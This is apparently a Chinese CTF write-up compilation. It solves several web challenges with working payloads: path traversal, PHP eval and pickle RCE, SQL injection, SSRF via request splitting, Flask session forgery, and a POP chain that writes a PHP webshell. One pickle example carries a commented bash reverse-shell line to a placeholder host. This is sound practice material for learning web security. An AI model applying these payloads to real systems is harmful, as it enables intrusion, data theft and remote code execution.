这里发现其实有过滤,etc/只剩下e了,用....//绕过和etctc
?f=//....//....//....//....//....//....//etctc//passwd

然后去读flag
?f=//....//....//....//....//....//....//f1ag_Is_h3re的时候一直没有用,后面发现其实这是个文件夹:
payload:
?f=//....//....//....//....//....//....//f1ag_Is_h3rere//flag
这里是去了re,当然也可以用下面这个
?f=//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[NESTCTF 2019]Love Math 2
源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这题和前面有一题一样,但是这题限制了60的长度:
payload:
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
(is_nan^(6).(4)).(tan^(1).(5))
结果是_GET
$pi=_GET,$$pi=$_GET
php中,get方法的[]可以用{}替代,$pi{0}($pi{1})
即$_GET{0}($_GET{1})
总的来看就是system(cat /flag)
[NewStarCTF 2023 公开赛道]ez_sql
这里有个id参数,感觉是可以拿来注入

这里字段数为5,
库:
?id=1'Union Select 1,2,3,4,database()--+

表:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= database()--+

列:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'here_is_flag'--+

出:id=1' Union Select 1,2,3,4,GROUP_CONCAT(flag)FROM here_is_flag--+

[DDCTF 2019]homebrew event loop
给了源码:
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
flask接受参数的方式

我们来看一下,这里出flag的因该是get_flag_handler,条件是if session['num_items'] >= 5:
然后我们看看这个num_items
获取:




这里就存在一个漏洞,这里是如果session的points小于point_to_consume,就减去
然后看看路由:

这里就是如果num_items没有,让points为3,num_items为0,然后调用了一个trigger_event,返回了一个 execute_event_loop()

def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
这里有个eval:

action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割,并返回一个列表到args里 ,所以我们就是这样,
先执行buy_handle,然后紧接着get_flag, 把consume_point_function放到最后
若让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后
?action:trigger_event%23;action:buy;5%23action:get_flag;
session=.eJyNjk1rg0AYhP9K2XMO61dFwUsrCtIoSa27-5ZS1E393I2gJtbgf48UWijpobeBmXlmLqg9Fsh-vaC7DNmIkRCnxBojuf9MCZdAgw-g0GZyV0eqV3O_PWV1V3HamOFzWDJt32Wqfg9qgqkKPSO5iZbNDU4EyiHuldW6cXjLPUtkviejs-Og5e2nDTIZ2dzVmWrMnCgt1R5OKTFwNL84f5AkdEBzc000QIsv0m_QnPqW9v0SxFSC1uvgljUQZoQVnpgI2qd4N0VxPkQuL7ePWGcCqtAtMKub8zZOrP8NIzmK92o4iB7ZeIO6YyWHVWrLFYecdfA.aKPmOg.p8N3i0VjdyYhN0MEKeHlUPp1Mw0


[羊城杯 2020]Blackcat
打开之后有个音频,下载后用010打开,发现有源码:
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('x');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('x');
}
echo exec("nc".$_POST['One-ear']);


这里直接echo exec了,所以One-ear在前面;就直接rce,然后看看前面怎么搞
我们直接让White-cat-monitor为数组,所以

就为空,
那么

这里的参数实际上就是 sha256 , One-ear的值 , null,直接求:
<?php
$hh = hash_hmac('sha256',';ls /', null);
echo $hh;
然后尝试一下ls /
Black-Cat-Sheriff=34ba546aa2ba7adbb3a0c6f574d24f1dccd17d87b8d48f2b240df9e366f383c3&One-ear=;ls /&White-cat-monitor[]=1

就显示出来一个var


还是不行,啊?
然后看了其他师傅的博客,好像就是这样,但是buu提交错误,好吧
[NewStarCTF 2023 公开赛道]Unserialize?

<?php
class evil {
private $cmd='ls';
}
$a=new evil();
echo urlencode(serialize($a));
?>

欧克了

unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A9%3A%22sort%20%2Fth%2A%22%3B%7D
出flag
[GYCTF2020]Node Game
通过拆分攻击实现的SSRF攻击
先看看源码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan'); // morgan是express默认的日志中间件
const multer = require('multer'); // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){ // action中不能含有/或\\字符
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file); // 渲染pug模板引擎
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) { // remoteAddress必须是本地IP,所以需要进行ssrf
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj)); // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
if(!fs.existsSync(__dirname + file_path)){ // 以同步的方法检测目录是否存在
try {
fs.mkdirSync(__dirname + file_path) // 如果目录不存在则创建目录
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data) // 将要上传的文件写入文件到指定的目录中(实现文件上传)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = ""; // 用来接收请求的数据
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) { // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
不会,看看大佬的博客:
/:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
/source:回显源码
/file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
/core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过
我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的
脚本:
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive
{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
session = requests.Session()
session.trust_env = False
session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)

[NewStarCTF 2023 公开赛道]泄漏的秘密
robots.txt

然后扫到www.zip


拼一下就好了
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
[HFCTF 2021 Final]easyflask
session伪造+pickle反序列化
有个这个

然后题目又是flask

访问:

看到源码,整理一下:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):#如果u对应的值是字典,会读取 u.b
u = b64decode(u.get('b'))
u = pickle.loads(u)#pickle反序列化
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
要我们找一个secret_key,那就试试/proc/self/environ

找到了
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requests
url = "http://5dce76ce-7856-4683-a41a-1500554f465f.node5.buuoj.cn:81"
#url = "http://127.0.0.1:80"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
#print(r.text)
key = re.findall('key=(.*?).OLDPWD',r.text)
return str(key[0])
#secret_key = get_secret_key()
secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /flag > /tmp/b"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
#{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
#{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
#{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
print(req.text)
req = requests.get(url+"/file?file=/tmp/b",headers=headers)
print(req.text)
找到一个脚本,或者直接生成cookie访问/admin也行
import os
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))
#'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})
u = pickle.dumps(User())
print(base64.b64encode(u))
不过要在linux环境下运行,windows不行
[2020 新春红包题]1
看看源码:
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
有点眼熟
入点:

有个save方法,定位:

这里是最终调用了set,set在B中

可以看到参数对应:
$name->key
$value->contents
$expire->expire
然后这里content来自:

然后看看set

这题的逻辑和ezpop一样,但是文件有限制:

会将文件名随机,并且还过滤了.php后缀
我们可以用:
$this->key = /../1.php/.
因为在做路径处理的时候,会递归的删除掉路径中存在的 /.
从而传入的东西是./1.php
,而传入之前,是 /../1.php/.
,通过目录穿越,让文件名固定,并且绕过.php后缀的检查
然后exit的话就和上面那题一样base64绕
这里就直接用脚本
<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache =[];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../penson.php/.';
$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
];
}
$a = new A();
echo urlencode(serialize($a));
?>
然后访问/uploads/1.php

[watevrCTF-2019]Supercalc
ssti报错注入

抓包看看:
有个flask session

这里如果正常用{{}}不行,用ssti报错注入
1/0#{{config}}
看看能不能找到key:

cded826a1e89925035cc05f0907855f7
payload:__import__("os").popen("cat flag.txt").read()
然后就是伪造session来ssti,但是很奇怪


我这里怎么搞都出不来,其他师傅这里就直接出了,不知道哪里出问题了shuati